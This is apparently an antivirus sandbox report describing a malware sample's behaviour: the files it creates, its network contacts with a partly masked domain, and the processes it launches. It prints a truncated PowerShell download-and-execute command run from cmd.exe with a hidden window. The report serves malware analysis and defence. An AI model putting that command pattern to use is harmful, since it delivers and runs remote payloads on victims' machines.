Technical Information
Malicious functions
Downloads and executes
- $arga as %temp%\uhmbzmm.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function fil([String] $arga){(New-Object System.Net.WebClient).DownloadFile($arga,''%TMP%\uhmbzmm.exe'');Start-Process ''%TMP%\uhmbzmm.exe'';}try{fil1(''http://evak...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1904
Modifies file system
Creates the following files
- %TEMP%\qchbj.bat
- %TEMP%\1116998.cvr
Network activity
Connects to
- 'fa###npfau.de':80
TCP
HTTP GET requests
- http://fa###npfau.de/guamno.png
UDP
- DNS ASK fa###npfau.de
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\qchbj.bat" "
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function fil([String] $arga){(New-Object System.Net.WebClient).DownloadFile($arga,''%TMP%\uhmbzmm.exe'');Start-Process ''%TMP%\uhmbzmm.exe'';}try{fil1(''http://evak...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\qchbj.bat" "' (with hidden window)
